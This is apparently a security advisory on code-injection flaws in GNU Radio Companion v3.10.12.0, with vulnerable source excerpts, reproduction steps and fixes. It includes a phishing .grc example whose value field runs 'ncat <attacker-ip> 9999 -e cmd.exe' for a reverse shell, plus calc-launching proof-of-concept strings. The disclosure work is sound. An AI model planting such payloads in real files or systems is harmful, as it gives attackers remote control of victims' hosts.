Skip to content Skip to footer

GNU Radio v3.10.12.0: When Your Radio Runs More Than Just Signals

Written by: Tanner Smith, Andrzej Olchawa, Ricardo Fradique, Milenko Starcik

GNU Radio is a widely adopted open-source framework for building Software-Defined Radio (SDR) systems. Used across research, industry, and critical communications domains, it provides flexible signal-processing blocks and a graphical interface, GNU Radio Companion (GRC), that allows users to rapidly design and execute flowgraphs.

A recent security assessment of GNU Radio v3.10.12.0 examined how certain GRC features can be abused to achieve Local Code Execution (LCE). While no traditional memory corruption or logic flaws were identified in the source code itself, the assessment highlights how design choices that prioritize flexibility can introduce security risks when used in untrusted contexts.

Key Findings

The assessment demonstrated multiple ways in which malicious actors can leverage legitimate GRC functionality to execute arbitrary Python or system-level commands on a victim’s machine:

  • Python Command Injection in the Variable Block
  • Python Command Injection in the Parameter Block
  • Python Command Injection in the Import Block
  • Local Code Execution in the GRC GUI
  • Local Code Execution via Custom Python Block

 

All findings map to CWE-94: Improper Control of Generation of Code (Code Injection) and require the victim to import and/or execute a malicious .grc file, typically delivered via phishing or social engineering.

Introduction

This Vulnerability Assessment focuses on the GNU Radio v3.10.12.0. The implementation source code is available on the public GitHub repository.

Given the availability of the GNU Radio source code, this Vulnerability Assessment was conducted using a white-box testing approach. It comprises static code analysis (execution of automated tools and manual code review) and software testing.

Summary

Local Code Execution (LCE) can occur in multiple locations within the GNU Radio Companion (GRC) application. The Variable, Parameter, and Imports blocks contain dedicated functions that pass their values to an unsafe exec() or eval() Python call, thereby executing the user-supplied values. Additionally, malicious Python code can be placed inside a GNU Radio Python Block to execute system-level commands.

The identified vulnerabilities allow for arbitrary command execution on the victim’s host with the permissions of the user running GRC. These vulnerabilities are not remotely exploitable and require the victim to either import a file or import and run a file (sent via a phishing campaign, for example). Still, because these vulnerabilities allow arbitrary commands to be executed, exploitation can result in an attacker establishing a remote connection to the victim’s host, enabling remote code execution (RCE).

    The following example, in which an attacker receives remote control of the victim’s host, is possible with the findings in this report.

    First, the attacker crafts a GRC flowgraph with malicious code inside one of the blocks:

    Figure 1: User imports .grc file containing the above Variable block with a malicious payload

    The user then receives a phishing email from the attacker with the .grc file containing the malicious code:

    . . . 
    blocks:
    - name: samp_rate
      id: variable
      parameters:
        comment: ''
        value: __import__('os').system(f"ncat <attacker-ip> 9999 -e cmd.exe")
      states:
        bus_sink: false
    						. . . 
    

    The user then imports the flowgraph file into GRC and the code sends a reverse shell payload to the attacker’s machine:

    Figure 2: Attacker receives reverse shell payload

    As a result, the attacker can remotely execute system commands on the victim’s machine as the user. Below is the full attack flow:

    Figure 3: Example attack flow for gaining a remote shell via GRC exploitation

      Detailed Findings

      Python Command Injection in the Variable Block

      An insecure exec() call exists in gnuradio/grc/workflows/common.py that executes unsanitized user input from a GRC Variable. The Python code is actually executed 9 times, suggesting other cases of command injection in the GNU Radio library.

      When an attacker sends the YAML code as a .grc file to a user, and the user imports it into GRC, the attacker-supplied command will be automatically executed.

      By placing crafted Python code, such as __import__(‘os’).system(‘calc’), into the value of a Variable block, like below:

      Figure 4: Placing a Python command into a Variable block

      The Python code shows up in the .grc file:

      Figure 5: The YAML generated for the Variable block

      And is then passed to the Python flowgraph:

      Figure 6: The Python flowgraph for the Variable block

      Resulting in Python command execution:

      Figure 7: Command execution opens the calculator application when the flowgraph is saved

      Below is the vulnerable code in common.py:

              prog = 'def get_decl_types():\n'
              prog += '\tvar_types = {}\n'
      
              for var in variables:
                  prog += '\t' + str(var.params['id'].value) + \
                      '=' + str(var.params['value'].value) + '\n'
              prog += '\tvar_types = {}\n'
              for var in variables:
                  prog += '\tvar_types[\'' + str(var.params['id'].value) + \
                      '\'] = type(' + str(var.params['id'].value) + ')\n'
              prog += '\treturn var_types'
        
              # Execute the code fragment in a separate namespace and retrieve the lvalue types
              var_types = {}
              namespace = {}
        
              try:
                  exec(prog, namespace) # <-- execution of vulnerable Python code
                  var_types = namespace['get_decl_types']()
              except Exception as excp:
                  print('Failed to get parameter lvalue types: %s' % (excp))
      

      An additional location for this vulnerability is possibly found in gnuradio/grc/core/FlowGraph.py:

          def _reload_variables(self, namespace: dict) -> dict:
              """
              Load variables. Be tolerant of evaluation failures.
              """
              for variable_block in self.get_variables():
                  try:
                      variable_block.rewrite()
                      value = eval(variable_block.value, namespace,
                                   variable_block.namespace)
                      namespace[variable_block.name] = value
                      # rewrite on subsequent blocks depends on an updated self.namespace
                      self.namespace.update(namespace)
                  # The following Errors may happen, but that doesn't matter as they are displayed in the gui
                  except (TypeError, FileNotFoundError, AttributeError, yaml.YAMLError):
                      pass
                  except Exception:
                      log.exception(f'Failed to evaluate variable block {variable_block.name}', exc_info=True)
              return namespace
      

      Steps to reproduce

      • Add a Variable to a GRC flowgraph.
      • Add the following Python code as the “value” for the block:

      __import__(‘os’).system(‘calc’)

      • Save the block, and the Python command will execute.

      Summary

      Vulnerability Type:  

      • CWE-94: Improper Control of Generation of Code (‘Code Injection’) 

      Attack type: Phishing attack with minimal user interaction 

      Impact: Exploitation leads to command execution on the victim’s host. 

      Affected components: gnuradio/grc/workflows/common.py:_variable_types()

      Recommendations

      • Replace exec() with safer alternatives, such as dictionaries or function calls.
      • Apply strict input validation using regex or type checks
      • Reject suspicious patterns like __import__, os.system, subprocess, etc.

      Python Command Injection in the Parameter Block

      Similar to the command injection found in the Variable block, an insecure eval() call exists in gnuradio/grc/core/FlowGraph.py that executes unsanitized user input from a GRC Parameter. The Python code, such as __import__(‘os’).system(‘calc’), is actually executed 9 times, suggesting other cases of command injection in the execution flow.

      When an attacker sends the YAML code as a .grc file to a user, and the user imports it into GRC, the attacker-supplied command will be automatically executed.

      By placing crafted Python code into the value of a Parameter block, such as below:

      Figure 8: Placing Python code in a Parameter block

      The value is eventually executed in the following code in FlowGraph.py whenever the block is imported, saved, or run:

          def _reload_parameters(self, namespace: dict) -> dict:
              """
              Load parameters. Be tolerant of evaluation failures.
              """
              np = {}  # params don't know each other
              for parameter_block in self.get_parameters():
                  try:
                      value = eval(
                          parameter_block.params['value'].to_code(), namespace)
                      np[parameter_block.name] = value
      except Exception:
                      log.exception(f'Failed to evaluate parameter block {parameter_block.name}', exc_info=True)
                      pass
              namespace.update(np)  # Merge param namespace
              return namespace
      
      
      

         

      Figure 9: Code execution opens the calculator application when the flowgraph is saved

      Steps to Reproduce

      • Add a Parameter block to a GRC flowgraph.
      • Add the following Python code as the “value” for the block:

      __import__(‘os’).system(‘calc’)

      • Save the block, and the Python command will execute.

      Summary

      Vulnerability Type:  

      • CWE-94: Improper Control of Generation of Code (‘Code Injection’) 

      Attack type: Phishing attack with minimal user interaction 

      Impact: Exploitation leads to command execution on the victim’s host. 

      Affected components: gnuradio/grc/core/params/params.py:evaluate()

      Recommendations

      • Replace exec() with safe alternatives like dictionaries or function calls.
      • Apply strict input validation using regex or type checks
      • Reject suspicious patterns like __import__, os.system, subprocess, etc.
      • Python Command Injection in the Imports Block

      Python Command Injection in the Import Block

      Similar to the command injection found in the Variable and Parameter blocks, an insecure exec() call exists in gnuradio/grc/core/params/params.py that executes unsanitized user input from a GRC Imports block. The Python code, such as __import__(‘os’).system(‘calc’), is executed multiple times, suggesting other cases of command injection in the execution flow.

      When an attacker sends the YAML code as a .grc file to a user, and the user imports it into GRC, the attacker-supplied command will be automatically executed.

      By placing crafted Python code into the Imports block, such as below:

      Figure 10: Placing Python code in an Imports block

      The value is eventually executed in the following code in params.py whenever the block is imported, saved, or run:

      elif dtype == 'import':
          # New namespace
          n = dict()
          try:
              exec(expr, n) # <-- Python code is executed
          except ImportError:
              raise Exception('Import "{}" failed.'.format(expr))
          except Exception:
              raise Exception('Bad import syntax: "{}".'.format(expr))
          return [k for k in list(n.keys()) if str(k) != '__builtins__']
      
      

      An additional location for this vulnerability is possibly found in gnuradio/grc/core/FlowGraph.py:

          def _reload_imports(self, namespace: dict) -> dict:
              """
              Load imports; be tolerant about import errors
              """
              for expr in self.imports():
                  try:
                      exec(expr, namespace) # <-- Python code is executed
                  except ImportError:
                      # We do not have a good way right now to determine if an import is for a
                      # hier block, these imports will fail as they are not in the search path
                      # this is ok behavior, unfortunately we could be hiding other import bugs
                      pass
                  except Exception:
                      log.exception(f"Failed to evaluate import expression \"{expr}\"", exc_info=True)
                      pass
              return namespace
      

         And also in gnuradio/grc/core/blocks/block.py:

              # namespaces may have changed, update them
      self.block_namespace.clear()
      imports = ""
      try:
      imports = self.templates.render('imports')
      exec(imports, self.block_namespace) # <-- Python code is executed
      except ImportError:
      # We do not have a good way right now to determine if an import is for a
      # hier block, these imports will fail as they are not in the search path
      # this is ok behavior, unfortunately we could be hiding other import bugs
      pass
      except Exception:
      self.add_error_message(
      f'Failed to evaluate import expression {imports!r}')


      Figure 11: Code execution opens the calculator application when the flowgraph is saved

      Steps to Reproduce

      • Add an Imports block to a GRC flowgraph.
      • Add the following Python code to the block:

      __import__(‘os’).system(‘calc’)

      • Save the block and the Python command will execute.

      Summary

      Vulnerability Type:  

      • CWE-94: Improper Control of Generation of Code (‘Code Injection’) 

      Attack type: Phishing attack with minimal user interaction 

      Impact: Exploitation leads to command execution on the victim’s host. 

      Affected components: gnuradio/grc/core/params/params.py:evaluate()

      Recommendations

      • Replace exec() with safer alternatives, such as dictionaries or function calls.
      • Apply strict input validation using regex or type checks
      • Reject suspicious patterns like __import__, os.system, subprocess, etc.

        Local Code Execution in the GRC GUI

        Anytime Python code such as __import__(‘os’).system(‘calc’) is placed as an attribute to a block in the GUI, the code will be executed when the block is saved, but not necessarily when the flowgraph is run, which is the case with the Variable and Parameter blocks examples.

        When an attacker sends the YAML code as a .grc file to a user, and the user imports it into GRC, the attacker-supplied command will be automatically executed.

        The following image shows command execution when the Python code is added to the “Tags” section of a Vector Source block:

        Figure 12: Code execution from the raw Python code placed as a Tag value in a Vector Source block

        The vulnerable function appears to be the eval() call in gnuradio/grc/core/FlowGraph.py:

            def evaluate(self, expr: str, namespace: Optional[dict] = None, local_namespace: Optional[dict] = None):
                """
                Evaluate the expression within the specified global and local namespaces
                """
                # Evaluate
                if not expr:
                    raise Exception('Cannot evaluate empty statement.')
                if namespace is not None:
                    return eval(expr, namespace, local_namespace) # Python code is executed
                else:
                    return self._eval_cache.setdefault(expr, eval(expr, self.namespace, local_namespace))

        Steps to Reproduce

        • Add any block that accepts a string value as an attribute, such as the Vector Source block, to a GRC flowgraph.
        • Add the following Python code as an attribute to the block:

        __import__(‘os’).system(‘calc’)

        • Save the block, and the Python command will execute.

        Summary

        Vulnerability Type:  

        • CWE-94: Improper Control of Generation of Code (‘Code Injection’) 

        Attack type: Phishing attack with minimal user interaction 

        Impact: Exploitation leads to command execution on the victim’s host. 

        Affected components: GRC GUI

        Recommendations

        • Escape or neutralize special characters before processing.
        • Apply strict input validation using regex or type checks
        • Reject suspicious patterns like __import__, os.system, subprocess, etc.
        • Consider containerizing GRC sessions for isolation.
        • Alert users when potentially dangerous input is detected.

        Local Code Execution via Custom Python Block

        When the custom code placed inside a Python Block is run in GRC, rewrite() is called in gnuradio/grc/core/blocks/embedded_python.py which calls extract() from epy_block_io.py, which calls _find_block_class(), which calls exec() on the Python code, leading to code execution:

        def _find_block_class(source_code, cls):
            ns = {}
        try:
            exec(source_code, ns) # <-- Python code is executed
        except Exception as e:
            raise ValueError("Can't interpret source code: " + str(e))
        for var in ns.values():
            if inspect.isclass(var) and issubclass(var, cls):
                   return var
        raise ValueError('No Python block class found in code')
        

        Although the execution of Python code is the main function of the Python Block, this functionality can be abused by an attacker for LCE. When an attacker sends YAML code as a .grc file to a user, and the user opens and runs the given flowgraph in GRC, the user’s host will make a connection back to the attacker’s host (localhost:9999 with the host’s OS type as a URL parameter in this example) or run any arbitrary OS command.

        Figure 13: The victim host successfully connects to the attacker host with OS information as a URL parameter

        Steps to Reproduce

        • Add a Python Block to a GRC flowgraph
        • Add code to the Python Block
        • Press the button to generate the flowgraph and save the config file:

        Figure 14: The GRC button to generate a flowgraph

        • Import the newly generated .grc file into GRC and run the flowgraph.

        Summary

        Vulnerability Type:  

        • CWE-94: Improper Control of Generation of Code (‘Code Injection’) 

        Attack type: Phishing attack with user interaction 

        Impact: Exploitation leads to command execution on the victim’s host. 

        Affected components: gnuradio/grc/core/blocks/embedded_Python.py: _find_block_class()

        Recommendations

        • Consider containerizing GRC sessions for isolation.
        • Alert users when potentially dangerous input is detected.
        • Alert users when a .grc file containing a Python Block is imported that may contain dangerous input

        Conclusion

        This assessment highlights how legitimate features within GNU Radio Companion can be abused to achieve malicious outcomes if the tool is used improperly or in untrusted workflows.

        GNU Radio and GRC are designed for flexibility, experimentation, and advanced signal-processing use cases. However, when .grc files are treated as benign data rather than executable artifacts, users may unknowingly execute attacker-controlled code.

        As such, this report aims to demonstrate how certain GRC functionalities can be abused if appropriate safeguards and execution isolation are not in place. In environments where flowgraphs are shared, imported, or distributed externally, GNU Radio should be treated with the same caution as any other system that executes dynamic code.